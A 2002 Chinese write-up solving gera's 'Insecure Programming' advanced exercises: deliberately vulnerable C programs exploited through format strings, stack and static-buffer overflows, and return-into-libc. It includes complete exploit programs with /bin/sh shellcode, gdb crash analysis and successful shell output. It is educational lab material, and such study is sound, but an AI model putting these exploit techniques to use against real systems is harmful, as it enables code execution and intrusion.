【分析】非安全编程演示之高级篇

高级功能安全工程师之路 持续学习的方法,比如参加行业会议、阅读论文,这些也是保持竞争力的关键。- 掌握 **FMEA(失效模式与影响分析)**、**FTA(故障树分析)**、**HAZOP(危险与可操作性分析)**、**STPA(系统理论过程分析)**。总结下来,学习计划需要结构清晰,涵盖知识、技能、实践和认证,分阶段递进,同时提供资源和评估方法,帮助用户系统地提升自己,达到高级工程师的水平。- 学习如何编写清晰的 **安全需求(Safety Requirements)** 和 **安全目标(Safety Goals)**。 阅读详情

非安全编程演示之高级篇


创建时间:2002-01-17
文章属性:原创
文章来源:http://www.xfocus.org/
文章提交:alert7 (sztcww_at_sina.com)

非安全编程演示之高级篇

by alert7 < alert7@netguard.com.cn >
主页: http://www.xfocus.org/  http://www.whitecell.org/
公司:华泰网安 < http://www.netguard.com.cn >
时间: 2002-1-17

★★ 三  高级篇

测试环境 redhat 6.2 glibc 2.1.3


★ 3.1 演示一

/* e1.c                                                     *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* jumpy vfprintf, Batman! */

int main(int argv,char **argc) {
                      /* Can you do it changing the stack?  */
                      /* Can you do it without changing it? */
    printf(argc[1]);
    while(1);
}
请参考拙作<<利用格式化串覆盖*printf()系列函数本身的返回地址>>


★ 3.2 演示二

/* e2.c                                                      *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
*
    char buf[100];

    while (1) {
        scanf("%100s",buf);
        system(buf);
    }

* But, you cannot execute code in stack.
*/

int main(int argv,char **argc) {
    char buf[256];
    strcpy(buf,argc[1]);
}
唯一需要满足的条件是stack是不能运行的。

[alert7@redhat62 alert7]$ ./e2 `perl -e 'print "a"x264'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e2 core -q
Core was generated by `./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x61616161 in ?? ()

/* exp_e2.c
* alert7 exploit for e2
*/
#include <stdio.h>

#define RET_POSITION                     260
#define NOP                            0x90
#define BUFADDR                0xbffff968
#define SYSTEM            0x4005aae0
char shell[]="/bin/sh";                      /* .string /"/bin/sh/"   */

int main(int argc,char **argv)
{
        char buff[1024],*ptr;
        int retaddr;
    int i;

    retaddr=SYSTEM;
    if(argc>1)
                retaddr=SYSTEM+atoi(argv[1]);
    
    bzero(buff,1024);
        for(i=0;i<300;i++)
        buff[i]=NOP;
    *((long *)&(buff[RET_POSITION-4]))=BUFADDR+4*3+strlen(shell);
    *((long *)&(buff[RET_POSITION]))=retaddr;
    *((long *)&(buff[RET_POSITION+4]))=0xaabbccdd;//当system返回时候的eip
    *((long *)&(buff[RET_POSITION+8]))=BUFADDR+RET_POSITION+4*3;
        ptr=buff+RET_POSITION+12;
        strcpy(ptr,shell);
        printf("Jump to 0x%08x/n",retaddr);

        execl("./e2","e2",buff,0);
}
[alert7@redhat]$ gcc -o exp_e2 exp_e2.c
[alert7@redhat]$ ./exp_e2
Jump to 0x4005aae0
bash$ id
uid=501(alert7) gid=501(alert7) groups=501(alert7)
bash$ exit
exit
Segmentation fault (core dumped)

内存增长方向
------>
| xxxxxx | EBP | EIP | EIP1 | 参数指针 | /bin/sh |
|  260个bytes  |     |
                     |
                     |-->main执行ret后的esp,ebp值为EBP
EIP1为system调用后的返回地址(当然,假如system返回的话)
参数指针指向/bin/sh
这里我们使EIP1为0xaabbccdd,所以/bin/sh一返回就在0xaabbccdd coredump了。
也就是说只要我们精心构造,就可以构造一个函数调用链。比如我们需要调用
setuid(0)->system("/bin/sh")->exit(0);

该exploit可以成功,很大程度上是因为SYSTEM的地址不包含0,也就是stack不
可执行补丁没有使library库mmap到内存低端。

更多的击败不可执行stack补丁可参考:
<<绕过Linux不可执行堆栈保护的方法浅析>> by waring3 <waring3@nsfocus.com>
和最近p58上的
<<The advanced return-into-lib(c) exploits>> by Nergal <nergal@owl.openwall.com>


★ 3.3 演示三

/* e3.c                                                      *
* specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat                            */

char buf[256];

int main(int argv,char **argc) {
    strcpy(buf,argc[1]);
    setenv("ABO",argc[2],1);
    while(1);
}
[alert7@redhat]$ uname -a
Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
[alert7@redhat]$ gcc -o e3 e3.c -static //静态编译的时候才会出现这样的情况
[alert7@redhat]$ ./e3 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x616161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e3 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) bt
#0  0x61616161 in ?? ()
#1  0x804ac85 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3209
#2  0x804d18b in realloc_hook_ini (ptr=0x0, sz=88, caller=0x804857c)
    at malloc.c:1770
#3  0x804abb3 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3196
#4  0x804857c in __add_to_environ (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
    combined=0x0, replace=1) at ../sysdeps/generic/setenv.c:145
#5  0x804882b in __setenv (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
    replace=1) at ../sysdeps/generic/setenv.c:263
#6  0x80481ce in main ()
#7  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3,
    argv=0xbffffb24, init=0x80480b4 <_init>, fini=0x80718ac <_fini>,
    rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92

根据上面的条件,我们可以完全不必理会setenv()内部一系列到底发生了什么。只需要知道
在buf+264的地方放入一个值,该值就会变成EIP。

/* exp_e3.c
* alert7 exploit for static e3
*/
#include <stdio.h>

#define RET_POSITION                     264
#define NOP                            0x90
#define BUFADDR                0x807bf60//0xaabbccdd
char shellcode[]=
        "/xeb/x1f"                      /* jmp 0x1f              */
        "/x5e"                          /* popl %esi             */
        "/x89/x76/x08"                  /* movl %esi,0x8(%esi)   */
        "/x31/xc0"                      /* xorl %eax,%eax        */
        "/x88/x46/x07"                  /* movb %eax,0x7(%esi)   */
        "/x89/x46/x0c"                  /* movl %eax,0xc(%esi)   */
        "/xb0/x0b"                      /* movb $0xb,%al         */
        "/x89/xf3"                      /* movl %esi,%ebx        */
        "/x8d/x4e/x08"                  /* leal 0x8(%esi),%ecx   */
        "/x8d/x56/x0c"                  /* leal 0xc(%esi),%edx   */
        "/xcd/x80"                      /* int $0x80             */
        "/x31/xdb"                      /* xorl %ebx,%ebx        */
        "/x89/xd8"                      /* movl %ebx,%eax        */
        "/x40"                          /* inc %eax              */
        "/xcd/x80"                      /* int $0x80             */
        "/xe8/xdc/xff/xff/xff"          /* call -0x24            */
        "/bin/sh";                      /* .string /"/bin/sh/"   */

int main(int argc,char **argv)
{
        char buff[1024],*ptr;
        int retaddr;
    int i;

    retaddr=BUFADDR;
    if(argc>1)
                retaddr=BUFADDR+atoi(argv[1]);
    
    bzero(buff,1024);
    for(i=0;i<1024;i+=4)
        *((long *)&(buff[i]))=retaddr;

        for(i=0;i<100;i++)
        buff[i]=NOP;

        ptr=buff+50;
        for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];  
        //现在buff的内容为
        //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA/0
         printf("Jump to 0x%08x/n",retaddr);

        execl("./e3","e3",buff,0);
}
[alert7@redhat62 alert7]$ gcc -o exp_e3 exp_e3.c
[alert7@redhat62 alert7]$ ./exp_e3
Jump to 0x0807bf60
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)

shellcode是放在heap里的,所以可能可以绕过一些不可执行stack的保护。
需猜测shellcode在heap中的地址,也失去了一些通用性。

跟踪了半天,发现还是静态编译的__libc_malloc()的问题

0x8049ff5 <__libc_malloc+89>:   mov    0x807c068,%eax
0x8049ffa <__libc_malloc+94>:   test   %eax,%eax
0x8049ffc <__libc_malloc+96>:   je     0x804a010 <__libc_malloc+116>
0x8049ffe <__libc_malloc+98>:   push   $0x0
0x804a000 <__libc_malloc+100>:  call   *%eax

(gdb) i reg eax
eax            0x61616161       1633771873
(gdb)  x 0x807c068
0x807c068 <__libc_internal_tsd_get>:    0x61616161
(gdb) p & __libc_internal_tsd_get
$1 = (void *(**)()) 0x807c068
(gdb) p  __libc_internal_tsd_get
$2 = (void *(*)()) 0x61616161

我们的数据覆盖到了__libc_internal_tsd_get()函数地址,使
__libc_internal_tsd_get()指向0x61616161.所以Segmentation fault
不知道__libc_internal_tsd_get()在这里有何作用?暂时我也不知道,郁闷~


★ 3.4 演示四

/* e4.c                                                      *
* specially crafted to feed your brain by gera@core-sdi.com */

/* %what the hell?                                           */

char buf[256];

int main(int argv,char **argc) {
    strcpy(buf,argc[1]);
    printf("live at 100%!");
    while(1);
}

[alert7@redhat]$ gcc -o e4 e4.c -static //静态编译的时候才会出现这样的情况
[alert7@redhat]$ ./e4 `perl -e 'print "a"x1408'`
[alert7@redhat]$ ./e4 `perl -e 'print "a"x1409'`
Segmentation fault (core dumped)
[alert7@redhat]$ gdb -q e4 core
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) bt
#0  0x61616161 in ?? ()
#1  0x8048681 in printf (format=0x8071548 "live at 100%!") at printf.c:31
#2  0x80481c3 in main ()
#3  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=2,
    argv=0xbffff6a4, init=0x80480b4 <_init>, fini=0x807150c <_fini>,
    rtld_fini=0, stack_end=0xbffff69c) at ../sysdeps/generic/libc-start.c:92
[alert7@redhat62 alert7]$ ./e4 `perl -e 'print "a"x518'``perl -e 'print "b"x891'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e4 core -q                                        
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626161 in ?? ()
[alert7@redhat62 alert7]$ ./e4 `perl -e 'print "a"x516'``perl -e 'print "b"x893'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e4 core -q                                        
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()

根据上面的条件,我们可以完全不必理会printf()内部到底发生了什么。只需要知道
在buf+516的地方放入一个值,该值就会变成EIP。

/* exp_e4.c
* alert7 exploit for static e4
*/
#include <stdio.h>

#define RET_POSITION                     516
#define NOP                            0x90
#define BUFADDR                0x807bbc0//0xaabbccdd
char shellcode[]=
        "/xeb/x1f"                      /* jmp 0x1f              */
        "/x5e"                          /* popl %esi             */
        "/x89/x76/x08"                  /* movl %esi,0x8(%esi)   */
        "/x31/xc0"                      /* xorl %eax,%eax        */
        "/x88/x46/x07"                  /* movb %eax,0x7(%esi)   */
        "/x89/x46/x0c"                  /* movl %eax,0xc(%esi)   */
        "/xb0/x0b"                      /* movb $0xb,%al         */
        "/x89/xf3"                      /* movl %esi,%ebx        */
        "/x8d/x4e/x08"                  /* leal 0x8(%esi),%ecx   */
        "/x8d/x56/x0c"                  /* leal 0xc(%esi),%edx   */
        "/xcd/x80"                      /* int $0x80             */
        "/x31/xdb"                      /* xorl %ebx,%ebx        */
        "/x89/xd8"                      /* movl %ebx,%eax        */
        "/x40"                          /* inc %eax              */
        "/xcd/x80"                      /* int $0x80             */
        "/xe8/xdc/xff/xff/xff"          /* call -0x24            */
        "/bin/sh";                      /* .string /"/bin/sh/"   */

int main(int argc,char **argv)
{
        char buff[2048],*ptr;
        int retaddr;
    int i;

    retaddr=BUFADDR;
    if(argc>1)
                retaddr=BUFADDR+atoi(argv[1]);

    bzero(buff,2048);
    for(i=0;i<2000;i++)
        buff[i]=NOP;
    *((long *)&(buff[RET_POSITION]))=retaddr;

        ptr=buff+50;
        for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];  
        printf("Jump to 0x%08x/n",retaddr);

        execl("./e4","e4",buff,0);
}

[alert7@redhat62 alert7]$ ./exp_e4
Jump to 0x0807bbc0
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)
通用性没有,需猜测BUFADDR地址。

程序问题所在:

0x8050101 <_IO_vfprintf+9361>:  mov    0x807bd40(,%edx,4),%edx
0x8050108 <_IO_vfprintf+9368>:  test   %edx,%edx //此时edx=0x62626262
0x805010a <_IO_vfprintf+9370>:  je     0x8050130 <_IO_vfprintf+9408>
0x805010c <_IO_vfprintf+9372>:  add    $0x28,%eax
0x805010f <_IO_vfprintf+9375>:  push   %eax
0x8050110 <_IO_vfprintf+9376>:  push   $0x1
0x8050112 <_IO_vfprintf+9378>:  mov    0xfffffab4(%ebp),%ecx
0x8050118 <_IO_vfprintf+9384>:  push   %ecx
0x8050119 <_IO_vfprintf+9385>:  call   *%edx //这里出了问题
(gdb) x 0x807bd40
0x807bd40 <__printf_arginfo_table>:     0x61616161

只要是printf("%X");,该X为printf认识不到的或者说是自定义的格式,就会利用
__printf_arginfo_table调用相应的函数来解释该格式,而__printf_arginfo_table
数组被我们数据覆盖,所以我们可以得到控制权。
这是我的粗略的理解,具体的还需要详细的分析printf函数的执行过程。
错误之处还请斧正。

★ 3.5 演示五

/* e5.c                                                      *
* specially crafted to feed your brain by gera@core-sdi.com */

/* is this possible?                                         */

char buf[256];

int main(int argv,char **argc) {
    strcpy(buf,argc[1]);
    perror(argc[2]);
    while(1);
}

静态编译时
(gdb) p &buf
$1 = (<data variable, no debug info> *) 0x807bc00

[alert7@redhat]$ gcc -o e5 e5.c -static
[alert7@redhat]$ ./e5 `perl -e 'print "a"x255'` a
a: Success

[alert7@redhat]$ ./e5 `perl -e 'print "a"x256'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x807a000, nb=48) at malloc.c:2762
2762    malloc.c: No such file or directory.
(gdb) bt
#0  chunk_alloc (ar_ptr=0x807a000, nb=48) at malloc.c:2762
#1  0x8049cf4 in __libc_malloc (bytes=44) at malloc.c:2696
#2  0x804e74a in _nl_make_l10nflist (l10nfile_list=0x807b434, dirlist=0x8071795 "/usr/share/locale", dirlist_len=18, mask=0,
    language=0xbffff628 "en_US", territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, special=0x0, sponsor=0x0,
    revision=0x0, filename=0xbffff630 "LC_MESSAGES/libc.mo", do_allocate=0) at l10nflist.c:201
#3  0x804dd30 in _nl_find_domain (dirname=0x8071795 "/usr/share/locale", locale=0xbffff628 "en_US",
    domainname=0xbffff630 "LC_MESSAGES/libc.mo") at finddomain.c:113
#4  0x804d8b0 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:395
#5  0x804d06d in __strerror_r (errnum=0, buf=0xbffff6cc "", buflen=1024) at ../sysdeps/generic/_strerror.c:68
#6  0x80486ae in perror (s=0xbffffcc8 "a") at perror.c:38
#7  0x80481c7 in main ()
#8  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3, argv=0xbffffb24, init=0x80480b4 <_init>,
    fini=0x807155c <_fini>, rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92
(gdb)
[alert7@redhat]$ ./e5 `perl -e 'print "a"x257'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x8070061, nb=48) at malloc.c:2762
2762    malloc.c: No such file or directory.
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x258'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x8006161, nb=48) at malloc.c:2752
2752    malloc.c: No such file or directory.
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x259'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x616161, nb=48) at malloc.c:2752
2752    malloc.c: No such file or directory.
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x260'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x61616161, nb=48) at malloc.c:2752
2752    malloc.c: No such file or directory.

./e5 `perl -e 'print "a"x260'` a  ---./e5 `perl -e 'print "a"x264'` a都是上面这种情况

[alert7@redhat]$ ./e5 `perl -e 'print "a"x265'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x61 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x266'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x6161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x616161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) bt
#0  0x61616161 in ?? ()
#1  0x804e74a in _nl_make_l10nflist (l10nfile_list=0x807b434, dirlist=0x8071795 "/usr/share/locale", dirlist_len=18, mask=0,
    language=0xbffff628 "en_US", territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, special=0x0, sponsor=0x0,
    revision=0x0, filename=0xbffff630 "LC_MESSAGES/libc.mo", do_allocate=0) at l10nflist.c:201
#2  0x804dd30 in _nl_find_domain (dirname=0x8071795 "/usr/share/locale", locale=0xbffff628 "en_US",
    domainname=0xbffff630 "LC_MESSAGES/libc.mo") at finddomain.c:113
#3  0x804d8b0 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:395
#4  0x804d06d in __strerror_r (errnum=0, buf=0xbffff6cc "", buflen=1024) at ../sysdeps/generic/_strerror.c:68
#5  0x80486ae in perror (s=0xbffffcc8 "a") at perror.c:38
#6  0x80481c7 in main ()
#7  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3, argv=0xbffffb24, init=0x80480b4 <_init>,
    fini=0x807155c <_fini>, rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92

./e5 `perl -e 'print "a"x268'` a---./e5 `perl -e 'print "a"x364'` a都是如上

[alert7@redhat]$ ./e5 `perl -e 'print "a"x365'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x804d683 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:282
282     dcgettext.c: No such file or directory.
(gdb) x/i 0x804d683
0x804d683 <__dcgettext+67>:     pushl  0x4(%eax)
(gdb) i reg eax
eax            0x61     97
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x368'` a //这以后都是老样子
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x804d683 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:282
282     dcgettext.c: No such file or directory.
(gdb) x/i 0x804d683
0x804d683 <__dcgettext+67>:     pushl  0x4(%eax)
(gdb) i reg eax
eax            0x61616161       1633771873
(gdb) bt
#0  0x804d683 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:282
#1  0x804d06d in __strerror_r (errnum=0, buf=0xbffff65c "", buflen=1024) at ../sysdeps/generic/_strerror.c:68
#2  0x80486ae in perror (s=0xbffffcc8 "a") at perror.c:38
#3  0x80481c7 in main ()
#4  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3, argv=0xbffffab4, init=0x80480b4 <_init>,
    fini=0x807155c <_fini>, rtld_fini=0, stack_end=0xbffffaac) at ../sysdeps/generic/libc-start.c:92

argv[1]长度限制在268----364
buff+264的地方就是eip

/* exp_e5.c
* alert7 exploit for static e5
*/
#include <stdio.h>
#define RET_POSITION                    264
#define NOP                            0x90
#define BUFADDR                0x807bc00//0xaabbccdd
char shellcode[]=
        "/xeb/x1f"                      /* jmp 0x1f              */
        "/x5e"                          /* popl %esi             */
        "/x89/x76/x08"                  /* movl %esi,0x8(%esi)   */
        "/x31/xc0"                      /* xorl %eax,%eax        */
        "/x88/x46/x07"                  /* movb %eax,0x7(%esi)   */
        "/x89/x46/x0c"                  /* movl %eax,0xc(%esi)   */
        "/xb0/x0b"                      /* movb $0xb,%al         */
        "/x89/xf3"                      /* movl %esi,%ebx        */
        "/x8d/x4e/x08"                  /* leal 0x8(%esi),%ecx   */
        "/x8d/x56/x0c"                  /* leal 0xc(%esi),%edx   */
        "/xcd/x80"                      /* int $0x80             */
        "/x31/xdb"                      /* xorl %ebx,%ebx        */
        "/x89/xd8"                      /* movl %ebx,%eax        */
        "/x40"                          /* inc %eax              */
        "/xcd/x80"                      /* int $0x80             */
        "/xe8/xdc/xff/xff/xff"          /* call -0x24            */
        "/bin/sh";                      /* .string /"/bin/sh/"   */

int main(int argc,char **argv)
{
        char buff[300],*ptr;
        int retaddr;
    int i;

    retaddr=BUFADDR;
    if(argc>1)
                retaddr=BUFADDR+atoi(argv[1]);

    bzero(buff,300);
    for(i=0;i<299;i++)
        buff[i]=NOP;
    *((long *)&(buff[RET_POSITION]))=retaddr;

        ptr=buff+50;
        for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];  
        printf("Jump to 0x%08x/n",retaddr);

        execl("./e5","e5",buff,"a",0);
}
[alert7@redhat62 alert7]$ ./exp_e5
Jump to 0x0807bc00 //地址中有/0 , :(
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ ./exp_e5 1
Jump to 0x0807bc01
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)


同样跟踪了下程序

(gdb) disass __libc_malloc
Dump of assembler code for function __libc_malloc:
...
0x8049c95 <__libc_malloc+89>:   mov    0x807bd08,%eax
0x8049c9a <__libc_malloc+94>:   test   %eax,%eax
0x8049c9c <__libc_malloc+96>:   je     0x8049cb0 <__libc_malloc+116>
0x8049c9e <__libc_malloc+98>:   push   $0x0
0x8049ca0 <__libc_malloc+100>:  call   *%eax
...
(gdb) i reg eax
eax            0x61616161       1633771873
(gdb) x 0x807bd08
0x807bd08 <__libc_internal_tsd_get>:    0x61616161
(gdb) p & __libc_internal_tsd_get
$2 = (void *(**)()) 0x807bd08
(gdb) p  __libc_internal_tsd_get
$3 = (void *(*)()) 0x61616161

出现的问题同3.3


★ 小结:

   gera就象是老师,出了这份试卷,而我则是学生做了这份试卷,所以
错误之处还请各位老师指正。或者探讨什么的都可以。有则改之,无则嘉勉。

再次感谢gera@core-sdi.com为我们出的这份试卷
http://community.core-sdi.com/~gera/InsecureProgramming/InsecureProgramming.tar.gz

Android 4高级编程源代码分析与实践 本文还有配套的精品资源,点击获取 简介:《Android 4高级编程(第3版)》书籍为开发者提供了深入学习Android系统和提升技能的实践指南,涵盖Android 4.0的高级主题。附带的源代码包提供了各章节实例的完整实现,使读者能够通过实践加深理解。源代码探索的关键知识点包括Activity和Intent的管理、Service的创建、BroadcastReceiver的... 阅读详情

相关推荐

YOLOv8模型部署与测试:保姆级教程(含Ultralytics配置避坑指南)

本文提供了一份详尽的YOLOv8模型部署与测试指南,涵盖环境配置、模型加载、参数优化、批量处理及API服务封装等关键步骤。重点分享了Ultralytics框架在实际部署中的常见问题与解决方案,帮助开发者高效完成从训练到生产的过渡,确保模型在真实场景中稳定运行。

weixin_29038155的博客 296

PWN简单堆栈溢出漏洞利用(一)

gets 函数栈溢出 题目来源 下载链接(密码akcz) 题目需要读取flag文件才能正确显示出flag,也就是下文中显示的 This is flag 创建办法: 在/home/pwn/pwn0目录下创建一个名为flag文件,打开并写入This is flag 1. 运行程序、查看文件类型、保护措施 程序让我们输入一段字符串,并返回我们所输入的内容。 看到是一个 32位 动态链接的ELF...

SkYe's Blog 2479

OneOS远程升级能力实操演示 | OTA升级

OneOS远程升级能力实操演示,差分算法提升效率,OTA升级,OTA差分算法,全量升级、压缩升级、差分升级,有线网络连接,bootloader,升级平台,在线差分包制作,触摸屏以及GUI图形操作

OneOS是中国移动针对物联网领域推出的轻量级操作系统 2011

Web安全和渗透测试有什么关系?

做渗透测试的一个环节就是测试web安全,需要明白漏洞产生原理,通过信息收集互联网暴露面,进行漏洞扫描,漏洞利用,必要时进行脚本自编写和手工测试,力求挖出目标存在的漏洞并提出整改建议,当然如果技术再精一些,还要学习内网渗透(工作组和域环境),白盒审计,app,小程序渗透那些了......可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。总之,web安全包含于渗透测试,但不是渗透测试的全部。

Python_0011的博客 4864

SpotBugs使用

spotbugs命令行参数解析

javajingling的专栏 2951

MATLAB 2022b 用户专属:保姆级IPOPT求解器安装配置全流程(含OPTI工具箱)

本文为MATLAB 2022b用户提供IPOPT求解器的详细安装与配置指南,涵盖OPTI工具箱的适配安装、环境变量设置及常见问题解决方案。通过实战案例演示非线性优化问题的求解过程,帮助用户高效部署这一强大的优化工具,提升工程计算效率。

weixin_29092031的博客 408

搭建之星可视化中文编程教程

《搭建之星》采用国际流行的可视中文开发模式,不懂英文也会开发,开发过程就像搭积木一样简单。本课程结合十几年实战行业软件开发经验精心录制而成,教学过程注重实战,由简入深,并注重开拓学生编程思路。让不会电脑的人不会英语的人也很轻松的学会编程,在学习完本课程后再学习其他编程语言会觉得很容易。

S7-1200控制S120变频器

②:硬件目录下,添加实物S120设备进行组态(其它现场设备--PROFINET IO--DRIVES......②:双击S120进行IP地址和设备名称设置(注:此处要与STATER软件设置S120一致)M10.0接通时,电机开始运行,M10.0断开,电机停止,调试完成。①:将S7-1200与S120进行通讯连线。④:STATER软件下设置与组态一致的报文。①:点击添加新设备,按实物进行设备组态。②:打开OB1,编写启动停止程序。①:查看S120报文地址。②:模块下添加DO矢量。③:子模块下添加报文。

weixin_38261173的博客 4868

gdb笔记

